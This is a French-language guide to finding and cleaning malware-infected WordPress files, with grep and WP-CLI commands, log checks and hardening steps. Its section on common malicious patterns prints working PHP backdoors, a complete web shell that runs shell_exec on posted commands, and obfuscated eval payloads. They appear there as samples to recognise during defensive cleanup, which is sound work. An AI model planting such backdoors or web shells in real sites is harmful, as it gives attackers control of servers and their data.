
Fichiers WordPress Infectes : Comment les Identifier et Nettoyer
Quand un site WordPress est compromis, le malware laisse des traces dans les fichiers du serveur. Des scripts backdoor caches dans le dossier uploads, du code obfusque insere dans functions.php, des fichiers core modifies silencieusement : les fichiers infectes sont le terrain de jeu prefere des attaquants. En 2026, avec des techniques d'obfuscation alimentees par l'IA, ces fichiers malveillants sont plus difficiles a reperer que jamais. Ce guide vous apprend a identifier systematiquement chaque fichier infecte et a le nettoyer sans casser votre site.
Comment identifier et nettoyer les fichiers WordPress infectes (8 etapes)
- 1
Sauvegarder le site avant intervention — Exportez la base de donnees et archivez tous les fichiers avant de toucher a quoi que ce soit.
- 2
Scanner les fichiers core avec WP-CLI — Lancez wp core verify-checksums pour detecter les fichiers modifies ou ajoutes.
- 3
Rechercher les signatures malveillantes — Utilisez grep pour chercher eval, base64_decode, shell_exec et autres fonctions suspectes.
- 4
Verifier le dossier uploads et mu-plugins — Recherchez tout fichier PHP dans wp-content/uploads et mu-plugins, qui ne devrait pas en contenir.
- 5
Remplacer les fichiers core compromis — Reinstallez le core avec wp core download --force --skip-content pour ecraser les fichiers infectes.
- 6
Nettoyer les themes et plugins — Reinstallez chaque plugin et theme depuis leur source officielle ou comparez avec l'original.
- 7
Changer tous les mots de passe et cles — Regenerez les cles de securite dans wp-config.php et changez les mots de passe admin et BDD.
- 8
Installer un plugin de securite et surveiller — Activez Wordfence ou SecuPress et surveillez les logs d'acces pendant les semaines suivantes.
Quels Fichiers les Pirates Ciblent en Priorite
Les attaquants ne modifient pas des fichiers au hasard. Ils ciblent des emplacements strategiques qui leur garantissent persistence, discretion et impact maximal.
Fichiers Core WordPress
| Fichier | Pourquoi il est cible | Risque |
|---|---|---|
| wp-config.php | Contient les identifiants de BDD et les cles de securite | Vol de donnees, backdoor persistante |
| wp-load.php | Execute a chaque chargement de page | Code malveillant execute systematiquement |
| wp-blog-header.php | Point d'entree principal de WordPress | Redirection, injection de contenu |
| index.php (racine) | Premier fichier execute | Redirection, defacement |
| wp-includes/version.php | Rarement inspecte par les admins | Backdoor discrete |
Fichiers de Theme
| Fichier | Technique d'injection |
|---|---|
| functions.php | Ajout de fonctions malveillantes en debut ou fin de fichier |
| header.php | Injection de JavaScript pour redirect ou minage crypto |
| footer.php | Liens de spam SEO caches ou scripts de tracking |
| 404.php | Backdoor complete (page rarement visitee = faible detection) |
| style.css | Commentaires contenant du code PHP (si le serveur est mal configure) |
Fichiers de Plugin
Les attaquants creent souvent de faux plugins dans /wp-content/plugins/ avec des noms qui semblent legitimes :
wp-super-cache-cleanup/seo-optimizer-pro/security-update-2026/ultra-seo-processor/
Ces faux plugins contiennent des backdoors et sont charges automatiquement par WordPress.
Le Dossier Uploads : Zone de Danger
Le dossier /wp-content/uploads/ ne devrait jamais contenir de fichiers PHP. Pourtant, c'est l'un des emplacements preferes des pirates car :
- Les permissions d'ecriture sont souvent trop permissives
- Les outils de scan se concentrent rarement sur ce dossier
- La structure en sous-dossiers par date (
/2026/03/) permet de cacher des fichiers facilement
Fichiers mu-plugins
Le dossier /wp-content/mu-plugins/ (must-use plugins) est charge automatiquement sans apparaitre dans l'interface d'administration. C'est un emplacement ideal pour les backdoors persistantes :
# Verifier le contenu du dossier mu-plugins
ls -la /chemin/vers/wordpress/wp-content/mu-plugins/Comment Detecter les Fichiers Infectes
La detection repose sur une approche multicouche combinant outils automatises et inspection manuelle.
Methode 1 : WP-CLI Verify Checksums
WP-CLI permet de comparer les fichiers de votre installation avec les originaux officiels de WordPress :
# Verifier l'integrite des fichiers core
wp core verify-checksums
# Verifier l'integrite des plugins (depuis wordpress.org)
wp plugin verify-checksums --all
# Exemple de sortie en cas de probleme
# Warning: File doesn't verify against checksum: wp-includes/version.php
# Warning: File not in WordPress installation: wp-includes/wp-tmp.phpCette commande identifie trois types de problemes :
- Fichiers modifies : le checksum ne correspond pas
- Fichiers manquants : supprimes par le pirate pour casser des fonctionnalites
- Fichiers ajoutes : fichiers qui ne font pas partie de l'installation officielle
Methode 2 : Recherche par Signatures Malveillantes avec grep
# Chercher les fonctions d'obfuscation courantes
grep -rn "eval(base64_decode" /chemin/vers/wordpress/ --include="*.php"
grep -rn "eval(gzinflate" /chemin/vers/wordpress/ --include="*.php"
grep -rn "eval(str_rot13" /chemin/vers/wordpress/ --include="*.php"
# Chercher les fonctions d'execution systeme
grep -rn "exec(\|system(\|passthru(\|shell_exec(\|popen(" /chemin/vers/wordpress/ --include="*.php"
# Chercher les inclusions distantes
grep -rn "file_get_contents('http\|curl_exec\|wp_remote_get.*http" /chemin/vers/wordpress/wp-content/ --include="*.php"
# Chercher les patterns d'obfuscation par variables
grep -rn '\$[a-zA-Z_]*\s*=\s*"\\\x[0-9a-f]' /chemin/vers/wordpress/ --include="*.php"
# Chercher les iframes cachees
grep -rn "iframe.*style.*display.*none\|iframe.*width.*0.*height.*0" /chemin/vers/wordpress/ --include="*.php"Methode 3 : Analyse des Dates de Modification
# Trouver les fichiers PHP modifies dans les 7 derniers jours
find /chemin/vers/wordpress/ -name "*.php" -mtime -7 -type f
# Trouver les fichiers PHP modifies dans les 30 derniers jours dans wp-content
find /chemin/vers/wordpress/wp-content/ -name "*.php" -mtime -30 -type f -ls
# Trouver les fichiers PHP dans le dossier uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f
# Trouver les fichiers avec des extensions doubles
find /chemin/vers/wordpress/ -name "*.php.jpg" -o -name "*.php.png" -o -name "*.php.gif" -type fAttention : les dates de modification peuvent etre falsifiees avec la commande touch. Ne vous fiez pas uniquement a cette methode.
Methode 4 : Comparaison avec une Installation Propre
# Telecharger une copie propre de WordPress
wp core download --path=/PATH/TO/CLEAN-WP-clean --force
# Comparer les fichiers core
diff -rq /chemin/vers/wordpress/wp-includes/ /PATH/TO/CLEAN-WP-clean/wp-includes/
diff -rq /chemin/vers/wordpress/wp-admin/ /PATH/TO/CLEAN-WP-clean/wp-admin/
# Comparer un fichier specifique
diff /chemin/vers/wordpress/wp-includes/version.php /PATH/TO/CLEAN-WP-clean/wp-includes/version.phpMethode 5 : Analyse des Logs Serveur
Les logs peuvent reveler quels fichiers sont appeles par le pirate :
# Chercher les requetes POST suspectes vers des fichiers PHP dans uploads
grep "POST.*uploads.*\.php" /var/log/apache2/access.log
# Chercher les requetes vers des fichiers non-standard
grep "\.php" /var/log/apache2/access.log | grep -v "wp-admin\|wp-login\|wp-cron\|xmlrpc\|wp-json\|index.php"
# Chercher les acces a des fichiers connus comme backdoors
grep "wp-tmp\|wp-feed\|class-wp-cache\|db-safe-mode" /var/log/apache2/access.logPatterns de Code Malveillant Courants
Reconnaitre le code malveillant a l'oeil nu est une competence essentielle. Voici les patterns les plus frequents en 2026.
Pattern 1 : eval() + base64_decode()
Le grand classique. Le code est encode en base64 pour echapper aux scans basiques :
// Code malveillant typique
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydj...'));
// Ce qui se decode souvent en :
if(isset($_REQUEST['cmd'])){
eval($_REQUEST['cmd']);
}Pour decoder manuellement :
echo "aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpew==" | base64 --decodePattern 2 : Variables Concatenees Obfusquees
Le code utilise la concatenation de variables pour cacher les noms de fonctions :
// Obfuscation par concatenation
$a = 'ev'; $b = 'al'; $c = $a.$b;
$d = 'bas'.'e64'.'_de'.'code';
$c($d('code_malveillant_encode'));
// Obfuscation par chr()
$func = chr(101).chr(118).chr(97).chr(108); // = "eval"
$func('code_malveillant');Pattern 3 : Backdoor avec Authentification
Des backdoors sophistiquees qui ne s'activent qu'avec un mot de passe :
// Backdoor avec authentification par header HTTP
if (isset($_SERVER['HTTP_X_FORWARDED_HOST']) &&
md5($_SERVER['HTTP_X_FORWARDED_HOST']) === 'a1b2c3d4e5f6...') {
eval(file_get_contents('php://input'));
}
// Backdoor avec authentification par cookie
if (isset($_COOKIE['wp_session']) &&
$_COOKIE['wp_session'] === 'secret_token_here') {
@eval($_POST['code']);
}Pattern 4 : Injection dans les Fichiers Legitimes
Le code malveillant est insere dans des fichiers existants, souvent au debut ou a la fin :
<?php
// Debut normal du fichier functions.php
// ... puis tout en bas :
@include_once('/chemin/vers/wordpress/wp-content/uploads/2026/03/.cache.php');
// Ou avec un chemin relatif obscurci
@include("\x2f\x68\x6f\x6d\x65".$_SERVER['DOCUMENT_ROOT']."/wp-includes/.wp-tmp.php");Pattern 5 : Web Shell Complet
Un fichier autonome qui offre un acces complet au serveur :
<?php
// Souvent nomme quelque chose d'innocent comme "wp-cache-db.php"
if($_GET['pass']=='secretpass'){
echo '<form method="post"><textarea name="cmd"></textarea><input type="submit"></form>';
if(isset($_POST['cmd'])){
echo '<pre>'.shell_exec($_POST['cmd']).'</pre>';
}
}
?>Tableau Recapitulatif des Signatures
| Signature | Danger | Fichiers Typiques |
|---|---|---|
eval(base64_decode( | Execution de code cache | Tous fichiers PHP |
eval(gzinflate( | Code compresse et execute | functions.php, wp-load.php |
$_REQUEST['cmd'] | Backdoor interactive | Fichiers ajoutes |
@include_once( avec chemin obscurci | Chargement de backdoor | functions.php, wp-config.php |
preg_replace('/.*e' | Execution via regex (PHP < 7) | Anciens themes |
assert( avec variable | Alternative a eval() | Plugins |
file_put_contents + $_POST | Ecriture de fichiers a distance | Backdoors |
Nettoyage Etape par Etape
Etape 1 : Preparer l'Environnement
# Creer une sauvegarde complete AVANT tout nettoyage
wp db export /chemin/vers/backup/db-backup-$(date +%Y%m%d).sql
tar -czf /chemin/vers/backup/files-backup-$(date +%Y%m%d).tar.gz /chemin/vers/wordpress/
# Mettre le site en mode maintenance
wp maintenance-mode activateEtape 2 : Remplacer les Fichiers Core
C'est la methode la plus sure : remplacer completement les fichiers WordPress par des originaux :
# Telecharger et remplacer les fichiers core
wp core download --force --skip-content
# Verifier l'integrite apres reinstallation
wp core verify-checksumsCette commande remplace /wp-admin/ et /wp-includes/ sans toucher a /wp-content/.
Etape 3 : Nettoyer les Fichiers de Theme
# Lister les fichiers modifies dans le theme actif
THEME=$(wp theme list --status=active --field=name)
# Si c'est un theme wordpress.org, reinstaller
wp theme install $THEME --force
# Si c'est un theme custom, comparer avec la version originale
diff -rq /chemin/vers/wordpress/wp-content/themes/$THEME/ /chemin/vers/theme-original/
# Verifier functions.php manuellement
head -20 /chemin/vers/wordpress/wp-content/themes/$THEME/functions.php
tail -20 /chemin/vers/wordpress/wp-content/themes/$THEME/functions.phpPour les themes personnalises sans version de reference, inspectez chaque fichier PHP :
# Scanner tous les fichiers du theme pour du code suspect
grep -rn "eval(\|base64_decode\|gzinflate\|str_rot13\|shell_exec\|passthru" \
/chemin/vers/wordpress/wp-content/themes/$THEME/ --include="*.php"Etape 4 : Nettoyer les Plugins
# Reinstaller tous les plugins du depot officiel
wp plugin install $(wp plugin list --field=name --format=csv) --force
# Lister les plugins qui ne sont pas sur wordpress.org (potentiellement suspects)
wp plugin verify-checksums --all 2>&1 | grep "not install"
# Supprimer les faux plugins
ls -la /chemin/vers/wordpress/wp-content/plugins/ | grep -v "index.php"Verifiez manuellement chaque plugin qui n'est pas disponible sur wordpress.org.
Etape 5 : Purger le Dossier Uploads
# Supprimer TOUS les fichiers PHP du dossier uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f -delete
# Supprimer les fichiers avec des extensions suspectes
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php.*" -type f -delete
find /chemin/vers/wordpress/wp-content/uploads/ -name ".*.php" -type f -delete
# Supprimer les fichiers .htaccess non necessaires dans uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name ".htaccess" -type f -delete
# Verifier les fichiers caches (commencant par un point)
find /chemin/vers/wordpress/wp-content/uploads/ -name ".*" -type fEtape 6 : Nettoyer le Dossier mu-plugins
# Lister le contenu de mu-plugins
ls -la /chemin/vers/wordpress/wp-content/mu-plugins/
# Supprimer tout fichier non reconnu
# Gardez uniquement les fichiers que VOUS avez crees intentionnellementEtape 7 : Verifier wp-config.php
# Chercher du code suspect
grep -n "eval\|base64\|include\|require" /chemin/vers/wordpress/wp-config.php
# Verifier les premieres lignes (avant <?php)
head -3 /chemin/vers/wordpress/wp-config.php
# Verifier les dernieres lignes (apres require wp-settings.php)
tail -5 /chemin/vers/wordpress/wp-config.phpRegenerez les cles de securite et changez le mot de passe de la base de donnees. Pour toutes les mesures de durcissement post-nettoyage, consultez notre guide pour securiser WordPress apres un piratage.
Etape 8 : Corriger les Permissions
# Permissions recommandees pour WordPress
find /chemin/vers/wordpress/ -type d -exec chmod 755 {} \;
find /chemin/vers/wordpress/ -type f -exec chmod 644 {} \;
# Permissions restrictives pour wp-config.php
chmod 400 /chemin/vers/wordpress/wp-config.php
# Permissions restrictives pour .htaccess
chmod 444 /chemin/vers/wordpress/.htaccessOutils Recommandes
Outils en Ligne de Commande
| Outil | Usage | Commande |
|---|---|---|
| WP-CLI | Verification d'integrite | wp core verify-checksums |
| grep | Recherche de signatures | grep -rn "eval(" --include="*.php" |
| find | Detection de fichiers suspects | find . -name "*.php" -mtime -7 |
| diff | Comparaison avec fichiers propres | diff -rq /infecte/ /propre/ |
| clamscan | Antivirus open-source | clamscan -r /chemin/vers/wordpress/ |
Plugins de Securite
| Plugin | Forces | Scan |
|---|---|---|
| Wordfence | Scan approfondi des fichiers, firewall WAF | Comparaison avec le depot officiel |
| Sucuri Security | Monitoring en temps reel, CDN securise | Scan distant + local |
| MalCare | Scan cloud (ne surcharge pas le serveur) | Analyse comportementale |
| iThemes Security | Durcissement WordPress complet | Verification d'integrite |
Verification Post-Nettoyage
# Scan final complet
wp core verify-checksums
wp plugin verify-checksums --all
# Verifier qu'aucun fichier PHP ne reste dans uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f
# Verifier les taches cron (reinfection automatisee)
wp cron event list
# Scanner avec grep une derniere fois
grep -rn "eval(base64_decode\|eval(gzinflate" /chemin/vers/wordpress/ --include="*.php"Checklist de Validation
- Verification des checksums core : OK
- Verification des checksums plugins : OK
- Aucun fichier PHP dans
/uploads/: OK - Aucun faux plugin dans
/plugins/: OK - Dossier
/mu-plugins/propre : OK wp-config.phpverifie : OK- Cles de securite regenerees : OK
- Mot de passe BDD change : OK
- Permissions fichiers corrigees : OK
- Cron jobs nettoyes : OK
- Scan Wordfence/Sucuri propre : OK
Prevention : Eviter la Reinfection
La prevention est tout aussi importante que le nettoyage. Sans mesures preventives, la reinfection est quasi certaine.
Monitoring des Fichiers
Mettez en place une surveillance automatisee des modifications de fichiers :
# Script de monitoring simple (a executer via cron)
#!/bin/bash
WORDPRESS_PATH="/chemin/vers/wordpress"
HASH_FILE="/chemin/vers/monitoring/files.md5"
# Generer les checksums actuels
find $WORDPRESS_PATH -name "*.php" -type f -exec md5sum {} \; > /var/tmp/current_hashes.md5
# Comparer avec les checksums de reference
diff $HASH_FILE /var/tmp/current_hashes.md5 > /var/tmp/file_changes.txt
if [ -s /var/tmp/file_changes.txt ]; then
mail -s "ALERTE: Fichiers WordPress modifies" admin@votresite.com < /var/tmp/file_changes.txt
fiDurcissement du Serveur
- Desactivez l'execution PHP dans le dossier uploads via
.htaccess:
# /wp-content/uploads/.htaccess
<Files "*.php">
Deny from all
</Files>- Desactivez le listing de repertoires :
Options -Indexes- Limitez les permissions d'ecriture aux seuls dossiers necessaires
Mises a Jour et Maintenance
- Activez les mises a jour automatiques pour le core et les plugins
- Supprimez les themes et plugins inactifs
- Changez regulierement les mots de passe (admin, FTP, BDD)
- Effectuez des sauvegardes quotidiennes et testez la restauration
- Souscrivez a un contrat de maintenance WordPress pour automatiser ces taches
Quand Faire Appel a un Professionnel
Si vous faites face a l'un de ces scenarios, un service professionnel de suppression de malware WordPress est recommande :
- Les fichiers infectes reviennent apres chaque nettoyage
- Vous ne trouvez pas la source de l'infection
- Le site a ete signale par Google Safe Browsing
- Vous gerez des donnees sensibles (e-commerce, donnees personnelles)
- Vous souhaitez un audit de securite complet
Conclusion
L'identification et le nettoyage des fichiers WordPress infectes exigent methode et rigueur. En combinant les outils automatises (WP-CLI, grep, diff) avec une inspection manuelle des fichiers strategiques, vous pouvez eliminer chaque trace de malware. La cle est d'etre systematique : ne sautez aucune etape, verifiez chaque emplacement, et mettez en place un monitoring permanent.
Pour un guide complet sur le processus de nettoyage, consultez notre article sur le nettoyage d'un WordPress pirate. Si vous suspectez que votre site contient des backdoors specifiques, notre guide sur la suppression manuelle de malware WordPress vous aidera a les eliminer une par une.

